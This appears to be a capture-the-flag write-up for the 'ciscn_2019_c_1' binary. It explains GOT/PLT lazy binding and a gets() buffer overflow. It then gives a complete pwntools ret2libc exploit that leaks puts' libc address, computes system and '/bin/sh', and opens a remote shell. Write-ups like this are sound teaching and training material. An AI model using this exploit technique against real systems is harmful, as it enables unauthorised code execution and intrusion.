Dynamic Linking and GOT/PLT Mechanism
Shared libraries utilize position-independent code. When a dynamic library is mapped into memory, a base address is added to the file offsets to calculate the actual runtime addresses. The relationship remains constant: runtime_address = base_address + file_offset.
The Procedure Linkage Table (PLT) and Global Offset Table (GOT) facilitate lazy binding for external function calls. The PLT acts as a stub that jumps to the address stored in the corresponding GOT entry. Initially, the GOT entry points back to the PLT to invoke the dynamic resolver. Once resolved, the GOT holds the actual memory address of the function. Internal function calls bypass these tables entirely, using direct addressing.
# External function call via PLT
call printf@plt
# Internal function call directly
call add
Vulnerability Analysis
The binary has NX (Non-Executable Stack) enabled. Decompiling the binary reveals a buffer overflow vulnerability in the encrypt function due to the use of the dangerous gets function. The input buffer is also subjected to an XOR cipher, which modifies the payload characters before they are printed.
int encrypt() {
char buffer[48];
memset(buffer, 0, sizeof(buffer));
puts("Input your Plaintext to be encrypted");
gets(buffer); // Vulnerable point
// ... XOR loop ...
}
Since the binary does not contain a system function or a /bin/sh string, a ret2libc attack is required. This approach involves two stages: first, leaking the runtime address of a loaded libc function to calculate the library base, and second, returning to system with /bin/sh as an argument.
Exploit Development
Stage 1 crafts a payload to overflow the buffer, populate the rdi register with the GOT entry of puts using a pop rdi; ret gadget, call puts@plt to print the leaked address, and then return to main for a second interaction.
Stage 2 calculates the libc base address from the leaked puts address. It then constructs a second payload that aligns the stack (required for Ubuntu 18+ environments), sets rdi to point to the /bin/sh string, and calls system.
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', os='linux', log_level='debug')
target_elf = ELF('./ciscn_2019_c_1')
plt_puts = target_elf.plt['puts']
got_puts = target_elf.got['puts']
entry_main = target_elf.symbols['main']
GADGET_POP_RDI = 0x400c83
ALIGN_RET = 0x4006b9
io = remote('target.host', 9999)
# Stage 1: Leak puts address
overflow_offset = 0x50 + 8
stage1 = b'A' * overflow_offset
stage1 += p64(GADGET_POP_RDI) + p64(got_puts)
stage1 += p64(plt_puts)
stage1 += p64(entry_main)
io.sendlineafter(b'Input your choice!\n', b'1')
io.sendlineafter(b'Input your Plaintext to be encrypted\n', stage1)
io.recvuntil(b'Ciphertext\n')
io.recvline()
leaked_puts = u64(io.recv(7).ljust(8, b'\x00'))
# Calculate libc offsets
libc_obj = LibcSearcher('puts', leaked_puts)
calculated_base = leaked_puts - libc_obj.dump('puts')
addr_system = calculated_base + libc_obj.dump('system')
addr_binsh = calculated_base + libc_obj.dump('str_bin_sh')
# Stage 2: Spawn shell
stage2 = b'A' * overflow_offset
stage2 += p64(ALIGN_RET)
stage2 += p64(GADGET_POP_RDI) + p64(addr_binsh)
stage2 += p64(addr_system)
io.sendlineafter(b'Input your choice!\n', b'1')
io.sendlineafter(b'Input your Plaintext to be encrypted\n', stage2)
io.interactive()